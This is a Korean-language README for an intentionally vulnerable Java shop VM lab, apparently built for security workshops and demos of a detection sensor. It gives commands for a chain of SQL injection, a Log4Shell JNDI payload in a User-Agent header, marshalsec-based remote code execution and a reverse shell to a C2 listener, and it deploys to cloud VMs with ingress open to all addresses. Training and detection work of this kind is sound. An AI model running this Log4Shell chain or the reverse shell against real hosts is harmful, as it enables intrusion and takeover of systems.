
의도적으로 취약하게 만든 VM 호스팅 Java 쇼핑몰 — Log4Shell (CVE-2021-44228) 워크숍 랩 (EC2 / Azure VM / GCE)
의도적으로 취약한 클래식 / 전통적인 보안 워크숍용 샵 — 컨테이너가 아닌 VM (EC2, Azure VM, GCP Compute Engine) 위의 Java
주요 시나리오: 중요 VM 침해 — SQL 인젝션 → Log4Shell (CVE-2021-44228) → 외부 C2로 리버스 쉘
[!CAUTION] 프로덕션 계정에 배포하지 마십시오. VM을 임시로 유지하고 네트워크를 실험실 범위로 한정하십시오.
Jay's Surf Shop은 클라우드 네이티브 런타임(ECS / ACA / GKE)을 다룹니다. TraditionalJay는 호스트 / VM 영역을 다룹니다:
| Surf Shop | TraditionalJay |
|---|
| 컴퓨팅 | 컨테이너 / 서버리스 | 단일 Linux VM |
| 스택 | Next.js + Python | Spring Boot + Log4j2 |
| 주요 CVE | Pillow, React2Shell, YAML, … | Log4Shell |
cd app
mvn -DskipTests spring-boot:run
# open http://localhost:8080
# exploit lab: http://localhost:8080/security
Java 11+ 및 Maven 필요.
/search에서 문자열 연결 SQLite가 secrets 테이블을 덤프합니다.2.14.1 JNDI LDAP 조회가 리스너로 전송됩니다.bash /dev/tcp 다이얼이 C2 리스너로 연결됩니다.# listeners (reachable from the VM)
python3 tools/ldap-listen.py --port 1389
python3 tools/c2-listen.py --port 4444
# or open http://HOST:8080/security and click Run Critical VM Compromise
curl -s -X POST "http://HOST:8080/api/demo/critical-vm-compromise" \
--data-urlencode "ldap_callback=YOUR_IP:1389" \
--data-urlencode "c2_callback=YOUR_IP:4444" | jq .
프로브 전용 (LDAP 발신 증명):
python3 tools/ldap-listen.py --port 1389
전체 RCE (marshalsec LDAP + 원격 Exploit.class; VM은 의도적으로 trustURLCodebase=true로 실행됨):
./tools/setup-marshalsec.sh
./tools/run-log4shell-ldap.sh --codebase-host YOUR_PUBLIC_IP
그런 다음 /security를 열고 LDAP 콜백을 YOUR_PUBLIC_IP:1389로 설정한 후 Run Log4Shell을 클릭합니다. 성공 시 VM은 /tmp/jss-log4shell-rce, /tmp/jss-log4shell-id.txt 및 호스트 센서 데모용 약 45초 대화형 bash(가능한 경우 script를 통한 PTY)를 얻습니다.
조작된 User-Agent로 검색을 실행할 수도 있습니다:
curl -s "http://localhost:8080/search?q=wax" \
-H 'User-Agent: ${jndi:ldap://127.0.0.1:1389/a}' -o /dev/null
로컬 terraform.tfvars(gitignore됨)를 통해 Upwind 자격 증명을 전달합니다. Cloud-init이 이를 내보내고 scripts/install-vm.sh가 scripts/install-upwind-sensor.sh를 실행합니다.
메모리: scanner-v2=true는 설치 시 약 7 GiB의 사용 가능한 RAM(디스크 아님)이 필요합니다. 기본 AWS Terraform은 t3.large(8 GiB) + 40 GiB gp3 루트를 사용하므로 스캐너가 건너뛰지 않습니다(더 작은 인스턴스에서는 Skipping scanner installation, requires 7000000 kB).
curl -s https://get.upwind.io/sensor.sh | \
UPWIND_CLIENT_ID=… \
UPWIND_CLIENT_SECRET=… \
UPWIND_AGENT_EXTRA_CONFIG="scanner-v2=true" \
bash -s
AWS 예제 infrastructure/aws/terraform.tfvars:
upwind_client_id = "…"
upwind_client_secret = "…"
upwind_agent_extra_config = "scanner-v2=true"
자격 증명이 비어 있으면 앱은 계속 설치되고 센서 단계는 건너뜁니다.
GitHub Actions 워크플로 .github/workflows/build.yml:
v* → 팻 JAR가 포함된 GitHub ReleaseVM은 scripts/install-vm.sh를 통해 최신 Release JAR를 선호하며, 릴리스가 아직 없는 경우 온박스 Maven 빌드로 대체됩니다. 그런 다음 설치 프로그램은 팻 JAR를 /opt/traditionaljay/BOOT-INF/lib/ 아래에서 압축 해제하고 JarLauncher를 실행하므로, 호스트/에이전트리스 SCA가 디스크에서 log4j-core-2.14.1.jar을 볼 수 있습니다(java -jar app.jar만 실행하면 Log4j가 zip 안에 중첩되어 패키지 인벤토리에서 CVE-2021-44228을 숨기는 경우가 많습니다).
# cut a release (triggers JAR publish)
git tag v0.1.0 && git push origin v0.1.0
각 클라우드 폴더는 독립형 Terraform입니다. 첫 부팅 시 scripts/install-vm.sh(OpenJDK 11 + Release JAR 또는 Maven 빌드 + systemd)가 실행됩니다.
cd infrastructure/aws
terraform init
terraform apply
terraform output application_url
cd infrastructure/azure
terraform init
terraform apply -var="ssh_public_key=$(cat ~/.ssh/id_rsa.pub)"
terraform output application_url
cd infrastructure/gcp
terraform init
terraform apply -var="project_id=YOUR_PROJECT"
terraform output application_url
첫 부팅 시 Maven이 인스턴스에서 빌드되는 동안 몇 분 정도 걸립니다. 그런 다음 http://PUBLIC_IP:8080/security를 엽니다.
app/ Spring Boot shop + /security Log4Shell UI
tools/ldap-listen.py Banner-only LDAP listener (dial-out proof)
tools/run-log4shell-ldap.sh Full RCE LDAP + HTTP codebase server
tools/exploit/Exploit.java Remote class payload for marshalsec
scripts/install-vm.sh Cloud-init / manual VM installer
infrastructure/aws|azure|gcp
tools/exploit/Exploit.class를 사용합니다.-Dcom.sun.jndi.ldap.object.trustURLCodebase=true**는 의도적입니다(Java 11+에서는 기본적으로 비활성화됨).ldap-listen.py는 코드 실행 없이 LDAP 발신 증명을 위해 유지됩니다.0.0.0.0/0을 허용합니다 — 공유 실험실의 경우 *_ingress_cidr / 소스 범위를 강화하십시오.